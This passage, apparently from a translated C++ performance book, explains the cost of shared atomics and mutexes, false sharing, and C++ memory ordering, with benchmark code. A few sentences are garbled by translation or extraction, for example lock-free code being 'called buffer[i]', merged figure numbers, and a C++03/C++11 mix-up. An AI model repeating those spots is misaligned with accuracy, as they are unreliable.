对于我们的例子,原子增量就是我们需要的。必须强调的是,无论我们决定使用什么样的同步机制,所有线程都必须使用相同的机制来并发访问特定的内存位置。如果我们在一个线程上使用原子操作,只要所有线程都使用原子操作,就不会有数据竞争。如果另一个线程使用互斥锁或非原子访问,所有的保证都将失效,结果再次是未定义的。

让我们重写我们的基准测试来使用 C++原子操作:

std::atomic<unsigned long> x(0);
void BM_shared(benchmark::State& state) {
     for (auto _ : state) {
           benchmark::DoNotOptimize(++x);
     }
}

程序现在是正确的:这里没有数据竞争。这并不一定准确,因为单个增量是一个非常短的时间间隔来测量;我们真的应该手动展开循环或使用宏,并在每个循环迭代中进行多次增量(我们在上一章中已经这样做了,所以你可以在那里看到宏)。让我们看看它的表现如何。如果线程之间没有交互,两个线程计算总和所需的时间将是一个线程所需时间的一半:

图 5.4 - 多线程程序中的原子增量时间

图 5.4 - 多线程程序中的原子增量时间

我们已经对结果进行了归一化,以显示单个增量的平均时间,也就是计算总和所需的时间除以总加法次数。这个程序的性能非常令人失望:不仅没有改进,而且事实上,在两个线程上计算总和所需的时间比一个线程上还要长。

如果我们使用更传统的互斥锁,结果甚至更糟:

图 5.5 - 使用互斥锁的多线程程序中的增量时间

图 5.5 - 使用互斥锁的多线程程序中的增量时间

首先,正如我们预期的那样,即使在一个线程上,锁定互斥锁也是一个相当昂贵的操作:使用互斥锁的增量需要 23 纳秒,而原子增量只需要 7 纳秒。随着线程数量的增加,性能会更快地下降。

从这些实验中可以得出一个非常重要的教训。访问共享数据的程序部分永远不会扩展。访问共享数据的最佳性能是单线程性能。一旦有两个或更多线程同时访问相同的数据,性能只会变得更糟。当然,如果两个线程在不同时间访问相同的数据,它们实际上并不相互交互,因此两次都会获得单线程性能。多线程程序的性能优势来自线程独立进行的计算,无需同步。根据定义,这样的计算是在不共享的数据上进行的(无论如何,如果你希望你的程序是正确的)。但是为什么并发访问共享数据如此昂贵?在下一节中,我们将了解原因。我们还将学到一个非常重要的关于仔细解释测量结果的教训。

为什么数据共享如此昂贵

正如我们刚刚看到的,共享数据的并发(同时)访问真的会严重影响性能。直观上讲,这是有道理的:为了避免数据竞争,任何给定时间只有一个线程可以操作共享数据。我们可以通过互斥锁或使用原子操作来实现这一点。无论哪种方式,当一个线程,比如说,增加共享变量时,所有其他线程都必须等待。我们上一节的测量结果证实了这一点。

然而,在基于观察和实验的任何行动之前,准确理解我们测量了什么以及可以得出什么结论至关重要。

很容易描述所观察到的情况:同时从多个线程增加共享变量根本不会扩展,并且实际上比只使用一个线程更慢。这对于原子共享变量和受互斥锁保护的非原子变量都是如此。我们没有尝试测量对非原子变量的无保护访问,因为这样的操作会导致未定义的行为和不正确的结果。我们也知道对于线程特定的(非共享)变量的无保护访问会随着线程数量的增加而扩展得非常好,至少直到我们饱和了总内存带宽(只有在我们写入大量数据时才会发生;对于单个变量来说,这不是问题)。批判性地分析你的实验结果并且没有不合理的先入之见是非常重要的技能,所以让我们再次声明我们所知道的:对共享数据的受保护访问很慢,对非共享数据的无保护访问很快。如果我们从中得出结论,即数据共享使程序变慢,那么我们就是在做一个假设:共享数据是重要的,受保护访问不是。这提出了另一个非常重要的观点,当进行性能测量时,你应该记住:当比较程序的两个版本时,尽量只改变一件事,并测量结果。

我们缺少的测量是这样的:对受保护数据的非共享访问。当然,我们不需要保护只被一个线程访问的数据,但我们试图准确理解共享数据访问为何如此昂贵:是因为它是共享的还是因为它是原子的(或者受锁保护)。我们必须一次只做一个改变,所以让我们保持原子访问并移除数据共享。至少有两种简单的方法可以做到这一点。第一种方法是创建一个原子变量的全局数组,并让每个线程访问自己的数组元素:

std::atomic<unsigned long> a[1024];
void BM_false_shared(benchmark::State& state) {
     std::atomic<unsigned long>& x = a[state.thread_index];
     for (auto _ : state) {
           benchmark::DoNotOptimize(++x);
     }
}

Google Benchmark 中的线程索引对于每个线程是唯一的,数字从 0 开始并且是紧凑的(0, 1, 2...)。另一种简单的方法是在benchmark函数本身中声明变量,如下面的代码所示:

void BM_not_shared(benchmark::State& state) {
     std::atomic<unsigned long> x;
     for (auto _ : state) {
           benchmark::DoNotOptimize(++x);
     }
}

现在我们正在增加与我们在收集图 5.4 的测量时相同的原子整数,只是它不再在线程之间共享。这将告诉我们是共享还是原子变量使增量变慢。以下是结果:

图 5.6 - 共享和非共享变量的原子增量时间

图 5.6 - 共享和非共享变量的原子增量时间

共享曲线是来自图 5.4 的曲线,而另外两个来自没有数据共享的基准测试。每个线程都有一个本地变量的基准测试被标记为“非共享”,并且表现为:两个线程上的计算时间是一个线程的一半,四个线程的时间再次减半,依此类推。请记住,这是一次增量操作的平均时间:我们总共进行了,比如说,100 万次增量,测量总共花费的时间,然后除以 100 万。由于我们增量的变量在线程之间不共享,我们期望两个线程的运行速度是一个线程的两倍,所以“非共享”结果正是我们预期的。另一个基准测试,我们使用原子变量的数组,但每个线程使用自己的数组元素,也没有共享数据。然而,它的表现就好像数据在线程之间是共享的,至少对于少量线程来说,所以我们称之为“伪共享”:实际上没有真正共享,但程序的行为却好像共享了一样。

这一结果表明,数据共享成本高的原因比我们之前假设的更加复杂:在伪共享的情况下,每个数组元素只有一个线程在操作,因此它不必等待任何其他线程完成递增。然而,线程显然彼此等待。要理解这种异常,我们必须更多地了解缓存的工作方式。

多核或多处理器系统中数据在处理器和内存之间的传输方式如图 5.7所示。

图 5.7 - 多核系统中 CPU 和内存之间的数据传输

图 5.7 - 多核系统中 CPU 和内存之间的数据传输

处理器操作数据以单个字节或取决于变量类型的单词;在我们的情况下,unsigned long是一个 8 字节的单词。原子递增读取指定地址的单个单词,递增它,然后将其写回。但是从哪里读取?CPU 只能直接访问 L1 缓存,因此它从那里获取数据。数据如何从主内存传输到缓存?它通过更宽的内存总线复制。可以从内存复制到缓存和反复制的最小数据量称为缓存行。在所有 x86 CPU 上,一个缓存行是 64 字节。当 CPU 需要锁定内存位置进行原子事务(如原子递增)时,它可能只写入一个单词,但必须锁定整个缓存行:如果允许两个 CPU 同时将同一个缓存行写入内存,其中一个将覆盖另一个。请注意,为简单起见,我们在图 5.7中只显示了一级缓存层次结构,但这并没有影响:数据以缓存行长度的块通过所有缓存级别传输。

现在我们可以解释我们观察到的伪共享:即使相邻的数组元素实际上并不在线程之间共享,它们确实占据了同一个缓存行。当 CPU 请求对一个数组元素进行原子递增操作的独占访问时,它会锁定整个缓存行,并阻止任何其他 CPU 访问其中的任何数据。顺便说一句,这解释了为什么图 5.7中的伪共享对于多达 8 个线程而言等效于真实数据共享,但对于更多的线程而言会更快:我们在写入 8 字节的单词,所以 8 个单词可以放入同一个缓存行中。如果我们只有 8 个线程(或更少),那么在任何给定时间只有一个线程可以递增其值,就像真正的共享一样。但是对于超过 8 个线程,数组至少占据两个缓存行,并且它们可以被两个 CPU 独立地锁定。因此,如果我们有,比如说,16 个线程,那么在任何时候都有两个线程可以前进,一个用于数组的每一半。

另一方面,真正的无共享基准在每个线程的堆栈上分配原子变量。这些是完全独立的内存分配,相隔多个缓存行。通过内存没有任何交互,这些线程完全独立地运行。

我们的分析表明,访问共享数据的高成本的真正原因是必须进行的工作,以保持对缓存行的独占访问,并确保所有 CPU 的缓存中都有一致的数据:在一个 CPU 获得独占访问并更新缓存行中的任何一个位之后,所有其他 CPU 的所有缓存中该行的副本都已过时。在这些其他 CPU 可以访问同一个缓存行中的任何数据之前,它们必须从主内存中获取更新的内容,正如我们所看到的,这需要相对较长的时间。

正如我们所看到的,两个线程是否尝试访问相同的内存位置并不重要,只要它们竞争访问同一个缓存行。这种独占缓存行访问是共享变量高成本的根源。

人们可能会想知道锁昂贵的原因是否也存在于它们包含的共享数据中(所有锁必须包含一定量的共享数据,这是一个线程可以让另一个线程知道锁已被占用的唯一方法)。正如我们在图 5.45.5中所看到的,互斥锁比单个原子访问要昂贵得多,即使在一个线程上也是如此。我们可以正确地假设,锁定互斥锁涉及的工作比只修改一个原子变量要多。但为什么当我们有多个线程时,这项工作需要更多时间呢?这是因为数据是共享的,并且需要对缓存行进行独占访问吗?我们留给读者作为练习来确认这确实是这样。这个实验的关键是设置锁的伪共享:一个锁数组,使得每个线程操作自己的锁,但它们竞争同一个缓存行(当然,这样的每线程锁实际上并不能保护任何东西免受并发访问,但我们只想知道锁定和解锁所需的时间)。这个实验比你想象的要稍微复杂一些:标准的 C++互斥锁std::mutex通常相当大,根据操作系统的不同在 40 到 80 字节之间。这意味着你甚至不能将两个互斥锁放入同一个缓存行中。你必须使用一个更小的锁来进行这个实验,比如自旋锁futex

我们现在明白了为什么同时访问共享数据的成本如此之高。这种理解给了我们两个重要的教训。第一个教训是在尝试创建非共享数据时要避免伪共享。伪共享如何潜入我们的程序?考虑我们在本章中一直研究的简单示例:并发累积总和。我们的一些方法比其他方法慢,但它们都非常慢(比单线程程序慢,或者最多也不会更快)。我们明白访问共享数据是昂贵的。那么什么更便宜呢?当然是不访问共享数据!或者至少不那么频繁地访问。我们没有理由每次想要向总和添加东西时都访问共享总和值:我们可以在线程上本地进行所有的加法,然后在最后一次将它们添加到共享累加器值上。代码看起来会像这样:

// Global (shared) results
std::atomic<unsigned long> sum;
unsigned long local_sum[…];
// Per-thread work is done here
unsigned long& x = local_sum[thread_index];
for (size_t i = 0; i < N; ++i) ++x;
sum += x;

我们有全局结果sum,它在所有线程之间共享,并且必须是原子的(或者由锁保护)。但是每个线程在完成所有工作后只访问这个变量一次。每个线程使用另一个变量来保存部分总和,只有在这个线程上添加的值(在我们的简单情况中是增量 1,但无论添加的值如何,性能都是一样的)。我们可以创建一个大数组来存储这些每线程部分总和,并给每个线程一个唯一的数组元素来处理。当然,在这个简单的例子中,我们可以只使用一个本地变量,但在一个真实的程序中,部分结果通常需要在工作线程完成后保留,并且这些结果的最终处理是在其他地方完成的,也许是由另一个线程完成。为了模拟这种实现,我们使用一个每线程变量的数组。请注意,这些变量只是普通的整数,不是原子的:它们没有并发访问。不幸的是,在这个过程中,我们陷入了伪共享的陷阱:数组的相邻元素(通常)在同一个缓存行上,因此不能同时访问。这反映在我们程序的性能上:

图 5.8 - 带有和不带有伪共享的总和累积

图 5.8 - 带有和不带有伪共享的总和累积

正如您在图 5.8中所看到的,我们的程序在线程数量很大时扩展性非常差。另一方面,如果我们通过确保每个线程的部分和至少相隔 64 字节(或者在我们的情况下简单地使用本地变量)来消除虚假共享,那么它的扩展性就完美,正如预期的那样。当我们使用更多线程时,两个程序都变得更快,但没有虚假共享负担的实现大约快两倍。

第二个教训在后面的章节中将变得更加重要:由于并发访问共享变量相对来说非常昂贵,因此使用更少共享变量的算法或实现通常会执行得更快。

这个陈述可能在这一刻令人困惑:由于问题的性质,我们有一些必须共享的数据。我们可以进行像刚刚做的优化,并消除对这些数据的不必要访问。但一旦这样做了,剩下的就是我们需要访问以产生期望结果的数据。那么,共享变量可能会更多,或更少,吗?要理解这一点,我们必须意识到编写并发程序不仅仅是保护对所有共享数据的访问。

学习并发和顺序

正如读者在本章前面提醒过的,任何访问任何共享数据的程序,如果没有访问同步(通常是互斥锁或原子访问),都会产生未定义行为,通常称为数据竞争。这在理论上似乎很简单。但我们的激励性例子太简单了:它只有一个在线程之间共享的变量。并发性不仅仅是锁定共享变量,我们将很快看到。

顺序的需求

现在考虑一下这个例子,被称为生产者-消费者队列。假设我们有两个线程。第一个线程,生产者,通过构造对象来准备一些数据。第二个线程,消费者,处理数据(对每个对象进行操作)。为了简单起见,假设我们有一个大的内存缓冲区,最初未初始化,生产者线程在缓冲区中构造新对象,就好像它们是数组元素一样:

size_t N;     // Count of initialized objects
T* buffer; // Only [0]…[N-1] are initialized

为了生产(构造)一个对象,生产者线程通过在数组的每个元素上放置new运算符来调用构造函数,从N==0开始:

new (buffer + N) T( … arguments … );

现在数组元素buffer[N]已初始化,并且可以被消费者线程访问。生产者通过增加计数器N来发出信号,然后继续初始化下一个对象:

++N;

消费者线程在计数器N增加到大于i之前,不能访问数组元素buffer[i]

for (size_t i = 0; keep_consuming(); ++i) {
     while (N <= i) {}; // Wait for the i-th element
     consume(buffer[i]);
}

为了简单起见,让我们忽略内存耗尽的问题,并假设缓冲区足够大。此外,我们现在不关心终止条件(消费者如何知道何时继续消费?)。此刻,我们对生产者-消费者握手协议感兴趣:消费者如何在没有任何竞争的情况下访问数据?

一般规则规定,对共享数据的任何访问都必须受到保护。显然,计数器N是一个共享变量,因此访问它需要更多的注意:

size_t N;     // Count of initialized objects
std::mutex mN;    // Mutex to guard N
… Producer …
{
     std::lock_guard l(mN);
     ++N;
}
… Consumer … 
{
     size_t n;
     do {
           std::lock_guard l(mN);
           n = N;
     } while (n <= i);
}

但这足够吗?仔细看:我们的程序中有更多的共享数据。对象数组T在两个线程之间是共享的:每个线程都需要访问每个元素。但是,如果我们需要锁定整个数组,我们可能会回到单线程实现:两个线程中的一个始终会被锁定。根据经验,每个编写过任何多线程代码的程序员都知道,在这种情况下,我们不需要锁定数组,只需要锁定计数器。事实上,锁定计数器的整个目的是我们不需要以这种方式锁定数组:数组的任何特定元素都不会被同时访问。首先,它只能在生产者在计数器递增之前访问。然后,它只能在计数器递增后由消费者访问。这是已知的。但是,本书的目标是教会你如何理解事情为什么会发生,因此,为什么锁定计数器足够?是什么保证事件确实按我们想象的顺序发生?

顺便说一句,即使这个平凡的例子也变得不那么平凡了。保护消费者对计数器N的访问的天真方法如下:

std::lock_guard l(mN);
while (N <= i) {};

这是一个保证的死锁:一旦消费者获取锁,它就会等待元素i被初始化,然后才会释放锁。生产者无法取得任何进展,因为它正在等待获取锁,然后才能递增计数器N。两个线程现在都永远在等待。很容易注意到,如果我们只是使用原子变量来计数,我们的代码将简单得多:

std::atomic<size_t> N;     // Count of initialized objects
… Producer …
{
     ++N;    // Atomic, no need for locks
}
… Consumer … 
{
     while (N <= i) {};
}

现在,消费者对计数器N的每次读取都是原子的,但在两次读取之间,生产者没有被阻塞,可以继续工作。这种并发处理方法被称为buffer[i]

内存顺序和内存屏障

正如我们意识到的那样,能够安全地访问共享变量并不足以编写任何非平凡的并发程序。我们还必须能够推断事件发生的顺序。在我们的生产者和消费者示例中,整个程序都建立在一个假设上:我们可以保证第 N 个数组元素的构造,将计数器递增到 N + 1,以及消费者线程访问第 N 个元素的顺序。

但是,一旦我们意识到我们不仅仅是处理多个线程,而且是处理真正同时执行这些线程的多个处理器时,问题实际上更加复杂。我们必须记住的关键概念是可见性。一个线程在一个 CPU 上执行,并且在 CPU 分配值给变量时对内存进行更改。实际上,CPU 只是更改其缓存的内容;缓存和内存硬件最终将这些更改传播到主内存或共享的高级缓存,此时这些更改可能对其他 CPU 可见。我们说“可能”,因为其他 CPU 的缓存中对相同变量有不同的值,我们不知道这些差异何时会被协调。我们知道,一旦 CPU 开始对原子变量执行操作,其他 CPU 就无法访问相同的变量,直到此操作完成,并且一旦此操作完成,所有其他 CPU 将看到此变量的最新更新值(但仅当所有 CPU 将变量视为原子时)。我们知道,同样适用于由锁保护的变量。但是,这些保证对于我们的生产者-消费者程序来说是不够的:根据我们目前所知,我们无法确定它是否正确。这是因为,到目前为止,我们只关注了访问共享变量的一个方面:这种访问的原子性或事务性。我们希望确保整个操作,无论是简单还是复杂,都作为单个事务执行,而不会被中断。

但访问共享数据还有另一个方面,即内存顺序。就像访问本身的原子性一样,它是硬件的一个特性,使用特定的机器指令(通常是原子指令本身的属性或标志)来激活。

内存顺序有几种形式。最不受限制的是松散内存顺序。当使用松散顺序执行原子操作时,我们唯一的保证是操作本身是原子执行的。这是什么意思?让我们首先考虑执行原子操作的 CPU。它运行包含其他操作的线程,既有非原子操作,也有原子操作。其中一些操作修改内存;这些操作的结果可以被其他 CPU 看到。其他操作读取内存;它们观察其他 CPU 执行的操作的结果。运行我们线程的 CPU 按照一定顺序执行这些操作。它可能不是程序中编写的顺序:编译器和硬件都可以重新排序指令,通常是为了提高性能。但这是一个明确定义的顺序。现在让我们从执行不同线程的另一个 CPU 的角度来看。第二个 CPU 可以看到内存内容随着第一个 CPU 的工作而改变。但它不一定以与原子操作相同的顺序看到它们,也不一定以与彼此相同的顺序看到它们:

图 5.9 - 使用松散内存顺序的操作的可见性

图 5.9 - 使用松散内存顺序的操作的可见性

这就是我们之前谈论的可见性:一个 CPU 按照一定顺序执行操作,但它们的结果以非常不同的顺序对其他 CPU 可见。为了简洁起见,我们通常谈论操作的可见性,并不是每次都提到结果

如果我们对共享计数器N的操作使用松散内存顺序执行,我们将陷入深深的麻烦:使程序正确的唯一方法是锁定它,以便只有一个线程,生产者或消费者,可以同时运行,并且我们无法从并发中获得性能改进。

幸运的是,我们可以使用其他内存顺序保证。最重要的是获取-释放内存顺序。当使用此顺序执行原子操作时,我们保证任何访问内存的操作在执行原子操作之前,并在另一个线程执行相同原子变量的原子操作之前变得可见。同样,所有在原子操作之后执行的操作只有在相同变量上的原子操作之后才变得可见。再次强调,当我们谈论操作的可见性时,我们真正意味着它们的结果对其他 CPU 变得可观察。这在图 5.10中是显而易见的:在左边,我们有CPU0执行的操作。在右边,我们有CPU1看到的相同操作。特别要注意的是,右边显示的原子操作是原子写。但CPU1并没有执行原子写:它执行原子读以查看CPU0执行的原子写的结果。其他所有操作也是如此:在左边,顺序是由CPU0执行的。在右边,顺序是由CPU1看到的。

图 5.10 - 使用获取-释放内存顺序的操作的可见性

图 5.10 - 使用获取-释放内存顺序的操作的可见性

获取-释放顺序保证是一个简洁的陈述,包含了许多重要信息,让我们详细阐述一些不同的观点。首先,该顺序是相对于两个线程在同一个原子变量上执行的操作而定义的。直到两个线程以原子方式访问相同的变量,它们的“时钟”相对于彼此来说是完全任意的,我们无法推断出某件事情发生在另一件事情之前或之后,这些词语是没有意义的。只有当一个线程观察到另一个线程执行的原子操作的结果时,我们才能谈论“之前”和“之后”。在我们的生产者-消费者示例中,生产者原子地增加计数器N。消费者原子地读取相同的计数器。如果计数器没有改变,我们对生产者的状态一无所知。但是,如果消费者看到计数器已经从 N 变为 N+1,并且两个线程都使用获取-释放内存顺序,我们知道生产者在增加计数器之前执行的所有操作现在对消费者可见。这些操作包括构造现在驻留在数组元素buffer[N]中的对象所需的所有工作,因此,消费者可以安全地访问它。

第二个显著的观点是,当访问原子变量时,两个线程都必须使用获取-释放内存顺序。如果生产者使用此顺序来增加计数,但消费者以松散的内存顺序读取它,那么对任何操作的可见性就没有任何保证。

最后一点是,所有顺序保证都是以原子变量上的操作“之前”和“之后”来给出的。同样,在我们的生产者-消费者示例中,当消费者看到计数器改变时,我们知道生产者执行的操作结果构造第 N 个对象对消费者是可见的。对这些操作变得可见的顺序没有任何保证。你可以在图 5.10中看到这一点。当然,这对我们来说不重要:在对象构造之前我们不能触摸任何部分,一旦构造完成,我们也不关心它是以什么顺序完成的。具有内存顺序保证的原子操作充当着其他操作无法移动的屏障。你可以想象在图 5.10中有这样一个屏障,将整个程序分成两个不同的部分:在计数增加之前发生的一切和之后发生的一切。因此,通常方便将这样的原子操作称为内存屏障。

让我们假设一下,在我们的程序中,对计数器N的所有原子操作都有获取-释放屏障。这肯定会保证程序的正确性。然而,请注意,获取-释放顺序对我们的需求来说有些过度。对于生产者来说,它给了我们一个保证,即在我们将计数增加到 N+1 之前构造的所有对象buffer[0]buffer[N]在消费者看到计数从 N 变为 N+1 时将对其可见。我们需要这个保证。但我们也有保证,为了构造剩余的对象buffer[N+1]及更多对象而执行的操作尚未变得可见。我们不关心这一点:消费者在看到下一个计数值之前不会访问这些对象。同样,在消费者方面,我们有保证,消费者看到计数变为 N+1 后执行的所有操作的效果(内存访问)将发生在该原子操作之后。我们需要这个保证:我们不希望 CPU 重新排序我们的消费者操作,并在准备好之前执行一些访问对象buffer[N]的指令。但我们也有保证,消费者处理之前的对象如buffer[N-1]的工作已经完成并对所有线程可见,然后消费者才会移动到下一个对象。同样,我们不需要这个保证:没有什么依赖它。

拥有比严格必要的更强保证有什么害处?在正确性方面,没有。但这是一本关于编写快速程序的书(也是正确的)。为什么首先需要顺序保证?因为在自己的设备上,编译器和处理器几乎可以任意重新排序我们的程序指令。为什么他们会这样做?通常是为了提高性能。因此,可以推断出,我们对执行重新排序的能力施加的限制越多,对性能的不利影响就越大。因此,一般来说,我们希望使用足够严格以确保程序正确性的内存顺序,但不要更严格。

对于我们的生产者-消费者程序,给我们提供了确切所需的内存顺序如下。在生产者方面,我们需要获取-释放内存屏障提供的保证的一半:在具有屏障的原子操作之前执行的所有操作必须在执行相应的原子操作之前对其他线程可见。这被称为释放内存顺序:

图 5.11 – 释放内存顺序

图 5.11 – 释放内存顺序

CPU1看到由CPU0执行的具有释放内存顺序的原子写操作的结果时,可以保证,根据CPU1看到的内存状态,已经反映了在这个原子操作之前由CPU0执行的所有操作。请注意,我们没有提到原子操作之后由CPU0执行的操作。正如我们在图 5.11中看到的,这些操作可能以任何顺序变得可见。原子操作创建的内存屏障只在一个方向上有效:在屏障之前执行的任何操作都不能越过它,并在屏障之后被看到。但是屏障在另一个方向上是可渗透的。因此,释放内存屏障和相应的获取内存屏障有时被称为半屏障

获取内存顺序是我们在消费者方面需要使用的。它保证了屏障后执行的所有操作在屏障后对其他线程可见,如图 5.12所示:

图 5.12 – 获取内存顺序

图 5.12 – 获取内存顺序

获取和释放内存屏障总是成对使用的:如果一个线程(在我们的情况下是生产者)使用原子操作的释放内存顺序,另一个线程(消费者)必须在同一个原子变量上使用获取内存顺序。为什么我们需要两个屏障?一方面,我们保证生产者在增加计数之前构建新对象的所有操作在消费者看到这个增量时已经可见。但这还不够,另一方面,我们保证消费者执行的操作来处理这个新对象不能被移动到时间上向后,到达屏障之前的时刻,此时它们可能已经看到了一个未完成的对象。

现在我们明白了仅仅在共享数据上进行原子操作是不够的,您可能会问我们的生产者-消费者程序是否实际上有效。事实证明,无论是锁版本还是无锁版本都是正确的,即使我们没有明确说明内存顺序。那么,在 C++中如何控制内存顺序呢?

C++中的内存顺序

首先,让我们回想一下我们的生产者-消费者程序的无锁版本,即具有原子计数器的版本:

std::atomic<size_t> N;     // Count of initialized objects
T* buffer; // Only [0]…[N-1] are initialized
… Producer …
{
     new (buffer + N) T( … arguments … );
     ++N;    // Atomic, no need for locks
}
… Consumer … 
for (size_t i = 0; keep_consuming(); ++i) {
     while (N <= i) {}; // Atomic read
     consume(buffer[i]);
}

计数器N是一个原子变量,是由模板std::atomic生成的类型参数为size_t的对象。所有原子类型都支持原子读写操作,即它们可以出现在赋值操作中。此外,整数原子类型具有常规整数操作的定义和实现,因此++N是原子增量(并非所有操作都被定义,例如没有*=运算符)。这些操作都没有明确指定内存顺序,那么我们有什么保证呢?事实证明,默认情况下,我们获得了最强大的可能保证,即每个原子操作都具有双向内存屏障(实际保证甚至更严格,您将在下一节中看到)。这就是为什么我们的程序是正确的。

如果您认为这太过分了,您可以将保证减少到您需要的部分,但您必须明确说明。原子操作也可以通过调用std::atomic类型的成员函数来执行,并且在那里您可以指定内存顺序。消费者线程需要一个带有获取屏障的加载操作:

while (N.load(std::memory_order_acquire) <= i);

生产者线程需要一个带有释放屏障的增量操作(就像增量运算符一样,成员函数也返回增量之前的值):

N.fetch_add(1, std::memory_order_release);

在我们继续之前,我们必须意识到我们在优化中跳过了一个非常重要的步骤。开始上一段的正确方式是,“如果您认为这太过分,您必须通过性能测量来证明,然后才能将保证减少到您需要的部分”。即使在使用锁时编写并发程序也很困难;使用无锁代码,尤其是显式内存顺序,必须得到证明。

说到锁,它们提供了什么内存顺序保证?我们知道由锁保护的任何操作将被稍后获取锁的任何其他线程看到,但其他内存呢?锁的使用强制执行的内存顺序如图 5.13所示:

图 5.13 - 互斥锁的内存顺序保证

图 5.13 - 互斥锁的内存顺序保证

互斥锁内部至少有两个原子操作。锁定互斥锁相当于使用获取内存顺序的读操作(这解释了名称:这是我们在获取锁时使用的内存顺序)。该操作创建了一个半屏障,任何在此之前执行的操作都可以在屏障之后看到,但在获取锁之后执行的任何操作都不能被观察到。当我们解锁互斥锁或释放锁时,释放内存顺序是有保证的。在此屏障之前执行的任何操作将在屏障之前变得可见。您可以看到,获取和释放的一对屏障充当了它们之间代码部分的边界。这被称为临界区:在临界区内执行的任何操作,也就是在线程持有锁时执行的操作,将在其他线程进入临界区时变得可见。没有操作可以离开临界区(变得更早或更晚可见),但来自外部的其他操作可以进入临界区。至关重要的是,没有这样的操作可以穿过临界区:如果外部操作进入临界区,它就无法离开。因此,CPU0在其临界区之前执行的任何操作都保证在CPU1在其临界区之后变得可见。

对于我们的生产者-消费者程序,这转化为以下保证:

… Producer …
new (buffer + N) T( … arguments … );
{ // Critical section start – acquire lock
     std::lock_guard l(mN);
     ++N;
} // Critical section end - Release lock
… Consumer … 
{ // Critical section – acquire lock
           std::lock_guard l(mN);
           n = N;
} // Critical section – release lock
consume(buffer[N]);

生产者执行的所有操作以构造第 N 个对象为例都在生产者进入临界区之前完成。它们将在消费者离开其临界区并开始消费第 N 个对象之前对消费者可见。因此,程序是正确的。

您刚刚阅读的部分介绍了内存顺序的概念,并用示例进行了说明。但是,当您尝试在代码中使用这些知识时,您会发现结果极不一致。为了更好地理解性能,您应该从不同的方式同步多线程程序以及避免数据竞争中期望什么,我们需要以更少的含糊方式描述内存顺序和相关概念。

内存模型

我们需要一种更系统和严格的方式来描述线程通过内存的交互,它们对共享数据的使用以及对并发应用的影响。这种描述被称为内存模型。内存模型描述了线程访问相同内存位置时存在的保证和限制。

在 C++11 标准之前,C++语言根本没有内存模型(标准中没有提到线程这个词)。为什么这是个问题?再次考虑我们的生产者-消费者示例(让我们专注于生产者方面):

std::mutex mN;
size_t N = 0;
…
new (buffer + N) T( … arguments … );
{ // Critical section start – acquire lock
     std::lock_guard l(mN);
     ++N;
} // Critical section end - release lock

lock_guard只是一个围绕互斥锁的 RAII 包装器,所以我们不会忘记解锁它,所以代码可以简化为这样:

std::mutex mN;
size_t N = 0;
…
new (buffer + N) T( … arguments … );    // N
mN.lock();                        // mN
++N;                            // N
mN.unlock();                    // mN

请注意,此代码的每一行都使用变量N或对象nM,但它们从不在一次操作中同时使用。从 C++的角度来看,这段代码类似于以下代码:

size_t n, m;
++m;
++n;

在这段代码中,操作的顺序并不重要,编译器可以自由地重新排序它们,只要可观察的行为不发生变化(可观察的行为是输入和输出,改变内存中的值不是可观察的行为)。回到我们最初的例子,为什么编译器不会重新排序那里的操作呢?

mN.lock();                        // mN
mN.unlock();                    // mN
++N;                            // N

这将是非常糟糕的,然而,在 C++标准中(直到 C++11 之前)没有任何东西阻止编译器这样做。

当然,早在 2011 年之前,我们就已经在 C++中编写了多线程程序,那么它们是如何工作的呢?显然,编译器并没有进行这样的优化,但是为什么呢?答案在于内存模型:编译器提供了一些超出 C++标准的保证,并在标准不要求的情况下提供了某种内存模型。基于 Windows 的编译器遵循 Windows 内存模型,而大多数基于 Unix 和 Linux 的编译器提供了 POSIX 内存模型和相应的保证。

C++11 标准改变了这一点,并为 C++提供了自己的内存模型。我们已经在前一节中利用了它:伴随原子操作的内存顺序保证,以及锁,都是这个内存模型的一部分。C++内存模型现在保证了跨平台的可移植性,以前的平台根据其内存模型提供了不同的一组保证。此外,C++内存模型提供了一些特定于语言的保证。

我们已经在不同的内存顺序规范中看到了这些保证:relaxed、acquire、release 和 acquire-release。C++还有一种更严格的内存顺序,称为std::memory_order_seq_cst,这是当你不指定顺序时默认的顺序:不仅每个指定此顺序的原子操作都有一个双向内存屏障,而且整个程序都满足顺序一致性要求。这个要求规定程序的行为就好像所有处理器执行的所有操作都是按照一个全局顺序执行的。此外,这个全局顺序具有一个重要的特性:考虑在一个处理器上执行的任意两个操作 A 和 B,使得 A 在 B 之前执行。这两个操作必须以 A 在前、B 在后的顺序出现在全局顺序中。你可以把一个顺序一致的程序想象成这样:想象每个处理器都有一副牌,牌就是操作。然后我们将这些牌堆在一起,而不混洗它们;一副牌的牌会在另一副牌的牌之间滑动,但是同一副牌的牌的顺序永远不会改变。合并后的一副牌就是程序中操作的明显全局顺序。顺序一致性是一个理想的特性,因为它使得并发程序的正确性更容易推理。然而,它通常会以性能的代价为代价。我们可以在一个非常简单的基准测试中展示这个代价,比较不同的内存顺序:

void BM_order(benchmark::State& state) {
     for (auto _ : state) {
           x.store(1, memory_order);
    … unroll the loop 32 times for better accuracy …
           x.store(1, memory_order);
           benchmark::ClobberMemory();
     }
     state.SetItemsProcessed(32*state.iterations());
}

我们可以使用不同的内存顺序来运行这个基准测试。结果当然会取决于硬件,但以下结果并不罕见:

图 5.14 - acquire-release 与顺序一致性内存顺序的性能

图 5.14 - acquire-release 与顺序一致性内存顺序的性能

C++内存模型还有很多内容,不仅仅是原子操作和内存顺序。例如,当我们之前研究了伪共享时,我们假设从多个线程同时访问数组的相邻元素是安全的。这是有道理的:这些是不同的变量。然而,语言甚至编译器采用的额外限制也不能保证这一点。在大多数硬件平台上,访问整数数组的相邻元素确实是线程安全的。但对于更小的数据类型,比如bool数组,情况绝对不是这样。许多处理器使用掩码整数写入来写入单个字节:它们加载包含此字节的整个 4 字节字,将字节更改为新值,然后将字写回。显然,如果两个处理器同时对共享相同 4 字节字的两个字节执行此操作,第二个写入将覆盖第一个写入。C++11 内存模型要求,如果没有两个线程访问相同的变量,那么写入任何不同的变量,比如数组元素,都是线程安全的。在 C++11 之前,很容易编写一个程序来证明从两个线程写入两个相邻的boolchar变量是不安全的。我们之所以在本书中没有这个演示,是因为即使您将标准级别指定为 C++03(这并不是保证,编译器可能会使用掩码写入以在 C++03 模式下写入单个字节,但大多数编译器在 C++11 模式下使用与 C++11 模式相同的指令),今天可用的编译器也不会回退到 C++03 行为的这一方面。

